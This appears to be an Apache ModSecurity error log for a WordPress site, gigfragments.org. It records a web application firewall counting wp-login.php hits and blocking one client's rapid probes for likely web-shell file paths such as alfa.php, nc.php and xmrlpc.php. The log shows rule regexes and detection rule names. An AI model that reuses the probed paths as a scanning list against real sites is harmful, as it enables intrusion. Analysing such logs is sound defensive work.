[Sun Dec 14 20:55:39.477471 2025] [:error] [pid 41600:tid 41627] [client 209.145.55.118:46420] [client 209.145.55.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.55.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT6zy9FLTBZjcwNd_VsjgwAAARg"]
[Sun Dec 14 20:55:42.392052 2025] [:error] [pid 41600:tid 41621] [client 209.145.55.118:46420] [client 209.145.55.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.145.55.118, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aT6zztFLTBZjcwNd_VsjhgAAARI"], referer: https://gigfragments.org/wp-login.php
[Sun Dec 14 22:17:39.409410 2025] [:error] [pid 39523:tid 39545] [client 182.42.105.144:60161] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aT7HAzQTQH1raAj2lkgBpAAAABE"]
[Sun Dec 14 23:46:25.860280 2025] [:error] [pid 41600:tid 41607] [client 4.194.187.204:36388] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aT7b0dFLTBZjcwNd_VtqiAAAAQQ"]
[Sun Dec 14 23:46:26.379854 2025] [:error] [pid 40561:tid 40581] [client 4.194.187.204:33607] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aT7b0oY6r869zoqRQkQGSwAAAVA"]
[Sun Dec 14 23:46:27.585943 2025] [:error] [pid 41600:tid 41613] [client 4.194.187.204:35289] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aT7b09FLTBZjcwNd_VtqjgAAAQo"]
[Sun Dec 14 23:46:29.380596 2025] [:error] [pid 39523:tid 39540] [client 4.194.187.204:35135] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/moon.php"] [unique_id "aT7b1TQTQH1raAj2lkgRZwAAAAw"]
[Sun Dec 14 23:46:33.384999 2025] [:error] [pid 39525:tid 39590] [client 4.194.187.204:33441] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aT7b2U1fX_pB_BrvE_558AAAAIc"]
[Sun Dec 14 23:46:36.743851 2025] [:error] [pid 39614:tid 39627] [client 4.194.187.204:35104] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aT7b3PxybG8-9MflbDepjwAAAMs"]
[Sun Dec 14 23:46:37.845191 2025] [:error] [pid 39525:tid 39603] [client 4.194.187.204:33646] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aT7b3U1fX_pB_BrvE_559AAAAJQ"]
[Sun Dec 14 23:46:40.673152 2025] [:error] [pid 39524:tid 39579] [client 4.194.187.204:8852] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aT7b4GrVGpbDzFtDE9MwCQAAAFc"]
[Sun Dec 14 23:46:44.338673 2025] [:error] [pid 40561:tid 40570] [client 4.194.187.204:65074] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aT7b5IY6r869zoqRQkQGUAAAAUU"]
[Sun Dec 14 23:46:45.151604 2025] [:error] [pid 39524:tid 39563] [client 4.194.187.204:8744] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aT7b5WrVGpbDzFtDE9MwCgAAAEc"]
[Sun Dec 14 23:46:45.675380 2025] [:error] [pid 39525:tid 39605] [client 4.194.187.204:33705] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aT7b5U1fX_pB_BrvE_55_QAAAJY"]
[Sun Dec 14 23:46:46.048150 2025] [:error] [pid 40596:tid 40636] [client 4.194.187.204:8746] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aT7b5mvZZo4N2X7WoLzEjgAAAco"]
[Sun Dec 14 23:46:48.834544 2025] [:error] [pid 41600:tid 41609] [client 4.194.187.204:8880] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gmo.php"] [unique_id "aT7b6NFLTBZjcwNd_VtqpQAAAQY"]
[Sun Dec 14 23:46:50.041199 2025] [:error] [pid 39525:tid 39586] [client 4.194.187.204:8767] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gmo.php"] [unique_id "aT7b6k1fX_pB_BrvE_56AQAAAIM"]
[Sun Dec 14 23:46:51.261161 2025] [:error] [pid 41600:tid 41624] [client 4.194.187.204:33682] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gmo.php"] [unique_id "aT7b69FLTBZjcwNd_VtqqQAAARU"]
[Sun Dec 14 23:46:52.360716 2025] [:error] [pid 13799:tid 13819] [client 4.194.187.204:8765] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/gmo.php"] [unique_id "aT7b7HjPEin01ElFTNZ0MAAAAhE"]
[Sun Dec 14 23:46:54.292410 2025] [:error] [pid 39523:tid 39534] [client 4.194.187.204:35097] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT7b7jQTQH1raAj2lkgRdAAAAAY"]
[Sun Dec 14 23:46:56.314002 2025] [:error] [pid 39525:tid 39596] [client 4.194.187.204:33365] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT7b8E1fX_pB_BrvE_56BAAAAI0"]
[Sun Dec 14 23:46:58.903228 2025] [:error] [pid 39524:tid 39560] [client 4.194.187.204:8393] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT7b8mrVGpbDzFtDE9MwFAAAAEQ"]
[Sun Dec 14 23:47:01.249713 2025] [:error] [pid 39523:tid 39544] [client 4.194.187.204:34407] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aT7b9TQTQH1raAj2lkgRfAAAABA"]
[Sun Dec 14 23:47:03.135527 2025] [:error] [pid 39523:tid 39548] [client 4.194.187.204:8424] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aT7b9zQTQH1raAj2lkgRgAAAABQ"]
[Sun Dec 14 23:47:04.565842 2025] [:error] [pid 39614:tid 39633] [client 4.194.187.204:8441] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aT7b-PxybG8-9MflbDepmQAAANE"]
[Sun Dec 14 23:47:05.413101 2025] [:error] [pid 13799:tid 13821] [client 4.194.187.204:8857] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aT7b-XjPEin01ElFTNZ0PAAAAhM"]
[Sun Dec 14 23:47:06.628375 2025] [:error] [pid 41600:tid 41604] [client 4.194.187.204:33672] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/alfa.php"] [unique_id "aT7b-tFLTBZjcwNd_Vtq1AAAAQE"]
[Sun Dec 14 23:47:07.716401 2025] [:error] [pid 39524:tid 39565] [client 4.194.187.204:30361] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cong.php"] [unique_id "aT7b-2rVGpbDzFtDE9MwQwAAAEk"]
[Sun Dec 14 23:47:12.873677 2025] [:error] [pid 40595:tid 40599] [client 4.194.187.204:8875] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cong.php"] [unique_id "aT7cAPjrht6y4RN-xKRToQAAAYA"]
[Sun Dec 14 23:47:16.122586 2025] [:error] [pid 39525:tid 39583] [client 4.194.187.204:34406] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cong.php"] [unique_id "aT7cBE1fX_pB_BrvE_56EwAAAIA"]
[Sun Dec 14 23:47:18.334280 2025] [:error] [pid 13799:tid 13808] [client 4.194.187.204:30337] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cong.php"] [unique_id "aT7cBnjPEin01ElFTNZ0SgAAAgY"]
[Sun Dec 14 23:47:19.567472 2025] [:error] [pid 39525:tid 39599] [client 4.194.187.204:31580] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/123.php"] [unique_id "aT7cB01fX_pB_BrvE_56GQAAAJA"]
[Sun Dec 14 23:47:23.624033 2025] [:error] [pid 39525:tid 39607] [client 4.194.187.204:8399] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/123.php"] [unique_id "aT7cC01fX_pB_BrvE_56IwAAAJg"]
[Sun Dec 14 23:47:30.182744 2025] [:error] [pid 40561:tid 40565] [client 4.194.187.204:31583] [client 4.194.187.204] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "173.239.196.158_6ff433984ead67b368dec33e0e3e699096ee01fa"): Internal error (specific information not available) [hostname "gigfragments.org"] [uri "/index.php"] [unique_id "aT7cD4Y6r869zoqRQkQGZwAAAUo"]
[Sun Dec 14 23:47:46.615737 2025] [:error] [pid 39525:tid 39605] [client 4.194.187.204:8736] [client 4.194.187.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aT7cIk1fX_pB_BrvE_56XwAAAJY"]
[Sun Dec 14 23:47:57.681865 2025] [:error] [pid 40595:tid 40603] [client 4.194.187.204:34412] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/AxAo.php"] [unique_id "aT7cLfjrht6y4RN-xKRT0gAAAYQ"]
[Sun Dec 14 23:47:58.253835 2025] [:error] [pid 40595:tid 40602] [client 4.194.187.204:36712] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/AxAo.php"] [unique_id "aT7cLvjrht6y4RN-xKRT1AAAAYM"]
[Sun Dec 14 23:47:58.680703 2025] [:error] [pid 41600:tid 41626] [client 4.194.187.204:8537] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/AxAo.php"] [unique_id "aT7cLtFLTBZjcwNd_VtrGQAAARc"]
[Sun Dec 14 23:47:59.507438 2025] [:error] [pid 41600:tid 41621] [client 4.194.187.204:36728] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/AxAo.php"] [unique_id "aT7cL9FLTBZjcwNd_VtrHAAAARI"]
[Sun Dec 14 23:48:08.486207 2025] [:error] [pid 39523:tid 39529] [client 4.194.187.204:31599] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aT7cODQTQH1raAj2lkgRtAAAAAE"]
[Sun Dec 14 23:48:08.875565 2025] [:error] [pid 40596:tid 40644] [client 4.194.187.204:8529] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aT7cOGvZZo4N2X7WoLzE_AAAAdI"]
[Sun Dec 14 23:48:12.555753 2025] [:error] [pid 39524:tid 39560] [client 4.194.187.204:31604] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aT7cPGrVGpbDzFtDE9MwggAAAEQ"]
[Sun Dec 14 23:48:13.539161 2025] [:error] [pid 41600:tid 41627] [client 4.194.187.204:34393] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aT7cPdFLTBZjcwNd_VtrMwAAARg"]
[Sun Dec 14 23:48:14.726692 2025] [:error] [pid 39614:tid 39630] [client 4.194.187.204:30630] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/db.php"] [unique_id "aT7cPvxybG8-9MflbDep3gAAAM4"]
[Sun Dec 14 23:48:15.526684 2025] [:error] [pid 39524:tid 39564] [client 4.194.187.204:34390] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/db.php"] [unique_id "aT7cP2rVGpbDzFtDE9MwgwAAAEg"]
[Sun Dec 14 23:48:20.725882 2025] [:error] [pid 13799:tid 13820] [client 4.194.187.204:53553] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/db.php"] [unique_id "aT7cRHjPEin01ElFTNZ0vwAAAhI"]
[Sun Dec 14 23:48:21.389353 2025] [:error] [pid 40596:tid 40646] [client 4.194.187.204:34423] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/db.php"] [unique_id "aT7cRWvZZo4N2X7WoLzFBAAAAdQ"]
[Sun Dec 14 23:48:22.571420 2025] [:error] [pid 39523:tid 39528] [client 4.194.187.204:31573] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nc.php"] [unique_id "aT7cRjQTQH1raAj2lkgRtwAAAAA"]
[Sun Dec 14 23:48:24.670330 2025] [:error] [pid 39523:tid 39549] [client 4.194.187.204:53540] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nc.php"] [unique_id "aT7cSDQTQH1raAj2lkgRuAAAABU"]
[Sun Dec 14 23:48:28.145025 2025] [:error] [pid 13799:tid 13808] [client 4.194.187.204:36715] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nc.php"] [unique_id "aT7cTHjPEin01ElFTNZ0wQAAAgY"]
[Sun Dec 14 23:48:28.987900 2025] [:error] [pid 39524:tid 39558] [client 4.194.187.204:53520] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/nc.php"] [unique_id "aT7cTGrVGpbDzFtDE9MwkQAAAEI"]
[Sun Dec 14 23:48:31.104839 2025] [:error] [pid 39523:tid 39544] [client 4.194.187.204:53548] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file1.php"] [unique_id "aT7cTzQTQH1raAj2lkgRvAAAABA"]
[Sun Dec 14 23:48:32.126015 2025] [:error] [pid 40595:tid 40601] [client 4.194.187.204:53509] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file1.php"] [unique_id "aT7cUPjrht6y4RN-xKRT6gAAAYI"]
[Sun Dec 14 23:48:32.623490 2025] [:error] [pid 39523:tid 39541] [client 4.194.187.204:34735] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file1.php"] [unique_id "aT7cUDQTQH1raAj2lkgRvQAAAA0"]
[Sun Dec 14 23:48:33.532987 2025] [:error] [pid 13799:tid 13804] [client 4.194.187.204:8586] [client 4.194.187.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/file1.php"] [unique_id "aT7cUXjPEin01ElFTNZ0xgAAAgI"]
